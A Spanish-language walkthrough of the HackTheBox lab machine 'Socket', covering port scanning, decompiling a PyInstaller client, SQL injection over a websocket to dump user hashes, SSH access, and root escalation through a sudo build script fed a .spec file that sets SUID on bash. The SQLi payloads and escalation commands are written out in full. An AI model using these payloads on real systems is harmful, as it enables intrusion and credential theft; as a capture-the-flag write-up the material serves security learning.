Socket es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Socket 10.10.11.206 a /etc/hosts como socket.htb y comenzamos con el escaneo de puertos nmap.
Hacemos un primer escaneo para detectar los puertos abiertos de forma rápida:
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.206 Nmap scan report for 10.10.11.206 Host is up, received user-set (0.046s latency). Scanned at 2023-05-31 14:42:06 GMT for 13s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 5789/tcp open unknown syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed May 31 14:42:19 2023 -- 1 IP address (1 host up) scanned in 12.92 seconds |
Y ahora un escaneo sobre los puertos detectados para sacar más información de los mismos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
$ nmap -sCV -p 22,80,5789 -oA enumeration/nmap2 10.10.11.206 Nmap scan report for socket.htb (10.10.11.206) Host is up (0.045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://qreader.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) 5789/tcp open unknown | fingerprint-strings: | GenericLines, GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 400 Bad Request | Date: Wed, 31 May 2023 14:42:46 GMT | Server: Python/3.10 websockets/10.4 | Content-Length: 77 | Content-Type: text/plain | Connection: close | Failed to open a WebSocket connection: did not receive a valid HTTP request. | Help: | HTTP/1.1 400 Bad Request | Date: Wed, 31 May 2023 14:43:01 GMT | Server: Python/3.10 websockets/10.4 | Content-Length: 77 | Content-Type: text/plain | Connection: close | Failed to open a WebSocket connection: did not receive a valid HTTP request. | SSLSessionReq: | HTTP/1.1 400 Bad Request | Date: Wed, 31 May 2023 14:43:02 GMT | Server: Python/3.10 websockets/10.4 | Content-Length: 77 | Content-Type: text/plain | Connection: close |_ Failed to open a WebSocket connection: did not receive a valid HTTP request. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5789-TCP:V=7.92%I=7%D=5/31%Time=64775CE8%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Wed,\x203 SF:1\x20May\x202023\x2014:42:46\x20GMT\r\nServer:\x20Python/3\.10\x20webso SF:ckets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/plain\r\n SF:Connection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocket\x20c SF:onnection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20request\.\ SF:n")%r(GetRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Wed SF:,\x2031\x20May\x202023\x2014:42:46\x20GMT\r\nServer:\x20Python/3\.10\x2 SF:0websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20text/pla SF:in\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20WebSocke SF:t\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\x20requ SF:est\.\n")%r(HTTPOptions,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate: SF:\x20Wed,\x2031\x20May\x202023\x2014:42:46\x20GMT\r\nServer:\x20Python/3 SF:\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Type:\x20t SF:ext/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x20a\x20W SF:ebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x20HTTP\ SF:x20request\.\n")%r(RTSPRequest,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nDate:\x20Wed,\x2031\x20May\x202023\x2014:42:46\x20GMT\r\nServer:\x20P SF:ython/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Typ SF:e:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x2 SF:0a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x SF:20HTTP\x20request\.\n")%r(Help,F4,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nDate:\x20Wed,\x2031\x20May\x202023\x2014:43:01\x20GMT\r\nServer:\x20P SF:ython/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nContent-Typ SF:e:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x20open\x2 SF:0a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x20valid\x SF:20HTTP\x20request\.\n")%r(SSLSessionReq,F4,"HTTP/1\.1\x20400\x20Bad\x20 SF:Request\r\nDate:\x20Wed,\x2031\x20May\x202023\x2014:43:02\x20GMT\r\nSer SF:ver:\x20Python/3\.10\x20websockets/10\.4\r\nContent-Length:\x2077\r\nCo SF:ntent-Type:\x20text/plain\r\nConnection:\x20close\r\n\r\nFailed\x20to\x SF:20open\x20a\x20WebSocket\x20connection:\x20did\x20not\x20receive\x20a\x SF:20valid\x20HTTP\x20request\.\n"); Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed May 31 14:44:13 2023 -- 1 IP address (1 host up) scanned in 92.89 seconds |
Añadiremos el dominio descubierto, qreader.htb, al fichero hosts y continuamos.
Enumeración
Accedemos al portal web de qreader y vemos la siguiente página
Se trata de un portal web para la conversión y generación de códigos QR, pero si bajamos un poco en la misma veremos una sección donde nos permite descargarnos el código de la aplicación:
Así que descargamos el fichero zip y dentro del mismo hay un ejecutable
1 2 |
$ file qreader qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped |
Si obtenemos los strings del mismo vemos que está realizado en python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ strings -10 qreader |grep -i python Py_SetPythonHome Cannot dlsym for Py_SetPythonHome PYTHONUTF8 Error loading Python lib '%s': dlopen: %s Invalid value for PYTHONUTF8=%s; disabling utf-8 mode! Error detected starting Python VM. bPIL/_imaging.cpython-310-x86_64-linux-gnu.so bPIL/_imagingft.cpython-310-x86_64-linux-gnu.so bPIL/_imagingtk.cpython-310-x86_64-linux-gnu.so bPIL/_webp.cpython-310-x86_64-linux-gnu.so bPyQt5/sip.cpython-310-x86_64-linux-gnu.so b_cffi_backend.cpython-310-x86_64-linux-gnu.so blib-dynload/_asyncio.cpython-310-x86_64-linux-gnu.so blib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so blib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so blib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so blib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so |
Así que vamos a utilizar la herramienta pyinstxtractor para extraer contenido del binario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ python3 pyinstxtractor.py /home/asdf/current/data/app/qreader [+] Processing /home/asdf/current/data/app/qreader [+] Pyinstaller version: 2.1+ [+] Python version: 3.10 [+] Length of package: 108535118 bytes [+] Found 305 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_subprocess.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_pyqt5.pyc [+] Possible entry point: pyi_rth_setuptools.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: qreader.pyc [+] Found 637 files in PYZ archive [+] Successfully extracted pyinstaller archive: /home/asdf/current/data/app/qreader You can now use a python decompiler on the pyc files within the extracted directory |
Revisamos entre los ficheros y vemos un fichero .pyc que correspondería con el fichero principal de la aplicación
1 2 |
$ find . -name "*pyc"|grep qreader ./qreader.pyc |
Así que utilizaremos la tool de unpyc para obtener el código original
1 |
$ python3 /data/tools/unpyc37-3.10/src/unpyc3.py qreader_extracted/qreader.pyc > qreader.py |
Y revisamos el fichero que tiene el siguiente código
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 |
import cv2 import sys import qrcode import tempfile import random import os from PyQt5.QtWidgets import * from PyQt5 import uic, QtGui import asyncio import websockets import json VERSION = '0.0.2' ws_host = 'ws://ws.qreader.htb:5789' icon_path = './icon.png' def setup_env(): global tmp_file_name try: tmp_file_name = tempfile.gettempdir() + '/' + str(random.randint(100000, 900000)) + '.tmp' ui_template = '<?xml version="1.0" encoding="UTF-8"?>\n <ui version="4.0">\n <class>MainWindow</class>\n <widget class="QMainWindow" name="MainWindow">\n <property name="geometry">\n <rect>\n <x>0</x>\n <y>0</y>\n <width>743</width>\n <height>368</height>\n </rect>\n </property>\n <property name="windowTitle">\n <string>QR Code Reader</string>\n </property>\n <widget class="QWidget" name="centralwidget">\n <layout class="QHBoxLayout" name="horizontalLayout">\n <item>\n <widget class="QLabel" name="label">\n <property name="minimumSize">\n <size>\n <width>300</width>\n <height>300</height>\n </size>\n </property>\n <property name="text">\n <string/>\n </property>\n </widget>\n </item>\n <item>\n <layout class="QHBoxLayout" name="horizontalLayout_2"/>\n </item>\n <item>\n <layout class="QVBoxLayout" name="verticalLayout_5">\n <item>\n <widget class="QPushButton" name="pushButton">\n <property name="text">\n <string>Read</string>\n </property>\n </widget>\n </item>\n <item>\n <widget class="QPushButton" name="pushButton_2">\n <property name="text">\n <string>Embed</string>\n </property>\n </widget>\n </item>\n </layout>\n </item>\n <item>\n <layout class="QVBoxLayout" name="verticalLayout">\n <item>\n <widget class="QTextEdit" name="textEdit">\n <property name="minimumSize">\n <size>\n <width>300</width>\n <height>300</height>\n </size>\n </property>\n </widget>\n </item>\n </layout>\n </item>\n </layout>\n </widget>\n <widget class="QMenuBar" name="menubar">\n <property name="geometry">\n <rect>\n <x>0</x>\n <y>0</y>\n <width>743</width>\n <height>21</height>\n </rect>\n </property>\n <widget class="QMenu" name="menuFile">\n <property name="title">\n <string>File</string>\n </property>\n <addaction name="actionImport"/>\n <addaction name="actionSave"/>\n <addaction name="actionQuit"/>\n </widget>\n <widget class="QMenu" name="menuAbout">\n <property name="title">\n <string>About</string>\n </property>\n <addaction name="actionVersion"/>\n <addaction name="actionUpdate"/>\n </widget>\n <addaction name="menuFile"/>\n <addaction name="menuAbout"/>\n </widget>\n <widget class="QStatusBar" name="statusbar"/>\n <action name="actionImport">\n <property name="text">\n <string>Import</string>\n </property>\n </action>\n <action name="actionSave">\n <property name="text">\n <string>Save</string>\n </property>\n </action>\n <action name="actionQuit">\n <property name="text">\n <string>Quit</string>\n </property>\n </action>\n <action name="actionVersion">\n <property name="text">\n <string>Version </string>\n </property>\n </action>\n <action name="actionUpdate">\n <property name="text">\n <string>Updates</string>\n </property>\n </action>\n </widget>\n <resources/>\n <connections/>\n </ui>' with open(tmp_file_name, 'w') as f: f.write(ui_template) finally: pass class MyGUI(QMainWindow): def __init__(self): super(MyGUI, self).__init__() uic.loadUi(tmp_file_name, self) self.show() self.current_file = '' self.actionImport.triggered.connect(self.load_image) self.actionSave.triggered.connect(self.save_image) self.actionQuit.triggered.connect(self.quit_reader) self.actionVersion.triggered.connect(self.version) self.actionUpdate.triggered.connect(self.update) self.pushButton.clicked.connect(self.read_code) self.pushButton_2.clicked.connect(self.generate_code) self.initUI() def initUI(self): self.setWindowIcon(QtGui.QIcon(icon_path)) def load_image(self): options = QFileDialog.Options() (filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)') if filename != '': self.current_file = filename pixmap = QtGui.QPixmap(self.current_file) pixmap = pixmap.scaled(300, 300) self.label.setScaledContents(True) self.label.setPixmap(pixmap) return def save_image(self): options = QFileDialog.Options() (filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options=options) if filename != '': img = self.label.pixmap() img.save(filename, 'PNG') return def read_code(self): if self.current_file != '': img = cv2.imread(self.current_file) detector = cv2.QRCodeDetector() (data, bbox, straight_qrcode) = detector.detectAndDecode(img) self.textEdit.setText(data) return self.statusBar().showMessage('[ERROR] No image is imported!') def generate_code(self): qr = qrcode.QRCode(version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=20, border=2) qr.add_data(self.textEdit.toPlainText()) qr.make(fit=True) img = qr.make_image(fill_color='black', back_color='white') img.save('current.png') pixmap = QtGui.QPixmap('current.png') pixmap = pixmap.scaled(300, 300) self.label.setScaledContents(True) self.label.setPixmap(pixmap) def quit_reader(self): if os.path.exists(tmp_file_name): os.remove(tmp_file_name) sys.exit() def version(self): response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION}))) data = json.loads(response) if 'error'not in (data.keys()): version_info = data['message'] msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}' self.statusBar().showMessage(msg) return error = data['error'] self.statusBar().showMessage(error) def update(self): response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION}))) data = json.loads(response) if 'error'not in (data.keys()): msg = '[INFO] ' + data['message'] self.statusBar().showMessage(msg) return error = data['error'] self.statusBar().showMessage(error) async def ws_connect(url, msg): pass def main(): (status, e) = setup_env() if not status: print('[-] Problem occured while setting up the env!') app = QApplication([]) window = MyGUI() app.exec_() if __name__ == '__main__': main() return |
Revisamos el código y vemos dos partes interesantes, por un lado la versión y la conexión al websocket
1 2 |
VERSION = '0.0.2' ws_host = 'ws://ws.qreader.htb:5789' |
Y por otro la petición que realiza
1 2 3 4 5 6 7 8 9 10 |
def version(self): response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION}))) data = json.loads(response) if 'error'not in (data.keys()): version_info = data['message'] msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}' self.statusBar().showMessage(msg) return error = data['error'] self.statusBar().showMessage(error) |
Visto esto, nos hacemos un pequeño script para facilitar las pruebas siguientes, cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 |
#!/usr/bin/env python3 import sys import json import websocket VERSION = '0.0.2' ws = websocket.WebSocket() ws.connect('ws://ws.qreader.htb:5789/version') ws.send(json.dumps({'version': VERSION + sys.argv[1]})) print(ws.recv()) |
Y lanzamos una primera prueba
1 2 |
$ python3 exploit.py "0.0.2" {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}} |
Así que hacemos algunas pruebas a ver si es vulnerable a sqli y obtenemos la versión de la base de datos, se trata de un posgres
1 2 3 4 5 6 7 8 9 10 11 12 |
$ python3 exploit.py "'UNION SELECT 1,1,1,1 -- -" {"message": "Invalid version!"} $ python3 exploit.py '"UNION SELECT 1,1,1,1 -- -' {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}} $ python3 exploit.py '"UNION SELECT v$version,1,1,1 -- -' $ python3 exploit.py '"UNION SELECT @@version,1,1,1 -- -' $ python3 exploit.py '"UNION SELECT sqlite_version(),1,1,1 -- -' {"message": {"id": "3.37.2", "version": 1, "released_date": 1, "downloads": 1}} |
Así que vamos a ver que más sacamos, obtenemos en primer lugar las tablas
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(name),1,1,1 from sqlite_schema -- -' {"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 1, "released_date": 1, "downloads": 1}} |
A continuación, y visto el esquema users, vamos a sacar sus tablas
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(sql),1,1,1 from sqlite_master where type!="meta" and sql not null and name="users"-- -' {"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 1, "released_date": 1, "downloads": 1}} |
Y ahora vamos a por el contenido de la tabla users
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(username),group_concat(password),1,1 from users-- -' {"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": 1, "downloads": 1}} |
Y tenemos un hash, así que vamos a crackstation para ver si podemos descifrar el mismo
Ya tenemos una password, pero nos faltan ahora usuarios, así que vamos a seguir enumerando los esquemas.
Revisamos la tabla de versions
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(version),group_concat(released_date),1,1 from versions-- -' {"message": {"id": "0.0.1,0.0.2", "version": "12/07/2022,26/09/2022", "released_date": 1, "downloads": 1}} |
reports
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(reporter_name),group_concat(subject),1,1 from reports-- -' {"message": {"id": "Jason,Mike", "version": "Accept JPEG files,Converting non-ascii text", "released_date": 1, "downloads": 1}} |
answers
1 2 |
$ python3 exploit.py '"UNION SELECT group_concat(answered_by),group_concat(answer),1,1 from answers-- -' {"message": {"id": "admin,admin", "version": "Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "released_date": 1, "downloads": 1}} |
Y en esta última vemos dos usuarios nuevos
1 2 |
Json Thomas Keller |
Así que vamos a probar el acceso con los usuarios y password obtenidos y conseguimos entrar con el usuario tkeller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh tkeller@socket.htb tkeller@socket.htb's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed May 31 03:27:21 PM UTC 2023 System load: 0.0 Usage of /: 54.1% of 8.51GB Memory usage: 11% Swap usage: 0% Processes: 219 Users logged in: 0 IPv4 address for eth0: 10.10.11.206 IPv6 address for eth0: dead:beef::250:56ff:feb9:bec0 * Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use. https://ubuntu.com/pro Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update tkeller@socket:~$ id uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared) |
Obteniendo la flag de user
Una vez dentro, simplemente, cogemos la flag
1 2 |
tkeller@socket:~$ cat user.txt f7xxxxxxxxxxxxxxxxxxxxxxxxxxxxa6 |
Escalado de privilegios
El siguiente paso será root, así que vamos a mirar que permisos tiene este usuario
1 2 3 4 5 6 |
tkeller@socket:~$ sudo -l Matching Defaults entries for tkeller on socket: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User tkeller may run the following commands on socket: (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh |
Y vemos un script en bash cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/bin/bash if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then /usr/bin/echo "No enough arguments supplied" exit 1; fi action=$1 name=$2 ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }') if [[ -L $name ]];then /usr/bin/echo 'Symlinks are not allowed' exit 1; fi if [[ $action == 'build' ]]; then if [[ $ext == 'spec' ]] ; then /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null /home/svc/.local/bin/pyinstaller $name /usr/bin/mv ./dist ./build /opt/shared else echo "Invalid file format" exit 1; fi elif [[ $action == 'make' ]]; then if [[ $ext == 'py' ]] ; then /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp /usr/bin/mv ./dist ./build /opt/shared else echo "Invalid file format" exit 1; fi elif [[ $action == 'cleanup' ]]; then /usr/bin/rm -r ./build ./dist 2>/dev/null /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null /usr/bin/rm /tmp/qreader* 2>/dev/null else /usr/bin/echo 'Invalid action' exit 1; fi |
El script anterior construye un paquete en función del fichero spec o py que le pasemos, así que vamos a generar un fichero spec con el siguiente contenido para obtener permisos de suid en el binario de bash
1 2 3 4 |
tkeller@socket:~$ cat priv.spec import os os.system('chmod u+s /bin/bash') |
Y ejecutamos
1 2 3 4 5 |
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build priv.spec 571 INFO: PyInstaller: 5.6.2 572 INFO: Python: 3.10.6 574 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35 579 INFO: UPX is not available. |
Una vez ejecutado revisamos, y ha funcionado, el binario de bash ya tiene los permisos de suid
1 2 |
tkeller@socket:~$ ll /bin/bash -rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash* |
Obteniendo la flag de root
Como último paso, escalamos a root y cogemos la flag
1 2 3 4 5 6 |
tkeller@socket:~$ bash -p bash-5.1# id uid=1001(tkeller) gid=1001(tkeller) euid=0(root) groups=1001(tkeller),1002(shared) bash-5.1# cat /root/root.txt afxxxxxxxxxxxxxxxxxxxxxxxxxxaf bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace